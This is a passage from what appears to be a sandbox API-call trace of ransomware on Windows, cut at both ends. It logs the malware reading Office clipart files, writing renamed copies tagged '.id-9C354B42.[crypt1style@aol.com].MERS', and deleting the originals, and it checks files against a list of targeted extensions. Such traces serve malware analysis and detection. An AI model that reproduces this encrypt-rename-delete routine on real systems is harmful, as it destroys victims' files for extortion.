office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0268.941] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=2344) returned 1 [0268.941] CloseHandle (hObject=0x3e0) returned 1 [0268.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0268.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0268.941] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.941] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0268.941] GetLastError () returned 0x0 [0268.941] ReadFile (in: hFile=0x3e0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x928, lpOverlapped=0x0) returned 1 [0269.213] WriteFile (in: hFile=0x3a4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x930, lpOverlapped=0x0) returned 1 [0269.213] ReadFile (in: hFile=0x3e0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.213] WriteFile (in: hFile=0x3a4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.213] SetEndOfFile (hFile=0x3a4) returned 1 [0269.213] CloseHandle (hObject=0x3a4) returned 1 [0269.213] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.213] SetEndOfFile (hFile=0x3e0) returned 1 [0269.215] CloseHandle (hObject=0x3e0) returned 1 [0269.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0269.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.216] lstrlenW (lpString=".doc") returned 4 [0269.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.216] lstrlenW (lpString=".docx") returned 5 [0269.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.216] lstrlenW (lpString=".pdf") returned 4 [0269.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.216] lstrlenW (lpString=".xls") returned 4 [0269.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.216] lstrlenW (lpString=".xlsx") returned 5 [0269.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.216] lstrlenW (lpString=".ppt") returned 4 [0269.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.216] lstrlenW (lpString=".zip") returned 4 [0269.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.216] lstrlenW (lpString=".rar") returned 4 [0269.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.216] lstrlenW (lpString=".bz2") returned 4 [0269.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.216] lstrlenW (lpString=".7z") returned 3 [0269.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.216] lstrlenW (lpString=".dbf") returned 4 [0269.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.216] lstrlenW (lpString=".1cd") returned 4 [0269.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.217] lstrlenW (lpString=".jpg") returned 4 [0269.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.217] lstrlenW (lpString=".doc") returned 4 [0269.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.217] lstrlenW (lpString=".docx") returned 5 [0269.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.217] lstrlenW (lpString=".pdf") returned 4 [0269.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.217] lstrlenW (lpString=".xls") returned 4 [0269.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.217] lstrlenW (lpString=".xlsx") returned 5 [0269.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.217] lstrlenW (lpString=".ppt") returned 4 [0269.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.397] lstrlenW (lpString=".zip") returned 4 [0269.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.397] lstrlenW (lpString=".rar") returned 4 [0269.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.397] lstrlenW (lpString=".bz2") returned 4 [0269.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.397] lstrlenW (lpString=".7z") returned 3 [0269.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.397] lstrlenW (lpString=".dbf") returned 4 [0269.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.397] lstrlenW (lpString=".1cd") returned 4 [0269.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0269.397] lstrlenW (lpString=".jpg") returned 4 [0269.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.397] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.397] lstrlenW (lpString="AN04269_.WMF") returned 12 [0269.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0269.397] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=2016) returned 1 [0269.397] CloseHandle (hObject=0x3c8) returned 1 [0269.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0269.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0269.398] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.398] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0269.398] GetLastError () returned 0x0 [0269.398] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0269.399] WriteFile (in: hFile=0x39c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0269.400] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.400] WriteFile (in: hFile=0x39c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.400] SetEndOfFile (hFile=0x39c) returned 1 [0269.400] CloseHandle (hObject=0x39c) returned 1 [0269.400] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.400] SetEndOfFile (hFile=0x3c8) returned 1 [0269.402] CloseHandle (hObject=0x3c8) returned 1 [0269.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0269.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.403] lstrlenW (lpString=".doc") returned 4 [0269.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.403] lstrlenW (lpString=".docx") returned 5 [0269.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.403] lstrlenW (lpString=".pdf") returned 4 [0269.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.403] lstrlenW (lpString=".xls") returned 4 [0269.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.403] lstrlenW (lpString=".xlsx") returned 5 [0269.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.403] lstrlenW (lpString=".ppt") returned 4 [0269.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.403] lstrlenW (lpString=".zip") returned 4 [0269.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.403] lstrlenW (lpString=".rar") returned 4 [0269.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.403] lstrlenW (lpString=".bz2") returned 4 [0269.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.403] lstrlenW (lpString=".7z") returned 3 [0269.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.403] lstrlenW (lpString=".dbf") returned 4 [0269.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.403] lstrlenW (lpString=".1cd") returned 4 [0269.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.403] lstrlenW (lpString=".jpg") returned 4 [0269.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.404] lstrlenW (lpString=".doc") returned 4 [0269.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.404] lstrlenW (lpString=".docx") returned 5 [0269.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.404] lstrlenW (lpString=".pdf") returned 4 [0269.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.404] lstrlenW (lpString=".xls") returned 4 [0269.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.404] lstrlenW (lpString=".xlsx") returned 5 [0269.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.404] lstrlenW (lpString=".ppt") returned 4 [0269.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.404] lstrlenW (lpString=".zip") returned 4 [0269.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.404] lstrlenW (lpString=".rar") returned 4 [0269.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.404] lstrlenW (lpString=".bz2") returned 4 [0269.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.404] lstrlenW (lpString=".7z") returned 3 [0269.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.404] lstrlenW (lpString=".dbf") returned 4 [0269.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.404] lstrlenW (lpString=".1cd") returned 4 [0269.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0269.404] lstrlenW (lpString=".jpg") returned 4 [0269.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.405] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.405] lstrlenW (lpString="AN04323_.WMF") returned 12 [0269.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0269.406] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=2492) returned 1 [0269.406] CloseHandle (hObject=0x3c8) returned 1 [0269.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0269.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0269.406] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.406] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0269.406] GetLastError () returned 0x0 [0269.406] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x9bc, lpOverlapped=0x0) returned 1 [0269.428] WriteFile (in: hFile=0x39c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0269.428] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.428] WriteFile (in: hFile=0x39c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.428] SetEndOfFile (hFile=0x39c) returned 1 [0269.428] CloseHandle (hObject=0x39c) returned 1 [0269.428] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.428] SetEndOfFile (hFile=0x3c8) returned 1 [0269.431] CloseHandle (hObject=0x3c8) returned 1 [0269.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0269.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.432] lstrlenW (lpString=".doc") returned 4 [0269.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.432] lstrlenW (lpString=".docx") returned 5 [0269.432] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.432] lstrlenW (lpString=".pdf") returned 4 [0269.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.432] lstrlenW (lpString=".xls") returned 4 [0269.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.432] lstrlenW (lpString=".xlsx") returned 5 [0269.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.432] lstrlenW (lpString=".ppt") returned 4 [0269.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.432] lstrlenW (lpString=".zip") returned 4 [0269.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.432] lstrlenW (lpString=".rar") returned 4 [0269.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.432] lstrlenW (lpString=".bz2") returned 4 [0269.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.432] lstrlenW (lpString=".7z") returned 3 [0269.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.432] lstrlenW (lpString=".dbf") returned 4 [0269.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.432] lstrlenW (lpString=".1cd") returned 4 [0269.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.432] lstrlenW (lpString=".jpg") returned 4 [0269.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.432] lstrlenW (lpString=".doc") returned 4 [0269.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.432] lstrlenW (lpString=".docx") returned 5 [0269.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.433] lstrlenW (lpString=".pdf") returned 4 [0269.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.433] lstrlenW (lpString=".xls") returned 4 [0269.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.433] lstrlenW (lpString=".xlsx") returned 5 [0269.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.433] lstrlenW (lpString=".ppt") returned 4 [0269.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.433] lstrlenW (lpString=".zip") returned 4 [0269.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.433] lstrlenW (lpString=".rar") returned 4 [0269.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.433] lstrlenW (lpString=".bz2") returned 4 [0269.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.433] lstrlenW (lpString=".7z") returned 3 [0269.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.433] lstrlenW (lpString=".dbf") returned 4 [0269.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.433] lstrlenW (lpString=".1cd") returned 4 [0269.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0269.434] lstrlenW (lpString=".jpg") returned 4 [0269.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.434] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.434] lstrlenW (lpString="AN04326_.WMF") returned 12 [0269.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0269.434] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=3348) returned 1 [0269.434] CloseHandle (hObject=0x3c8) returned 1 [0269.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0269.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 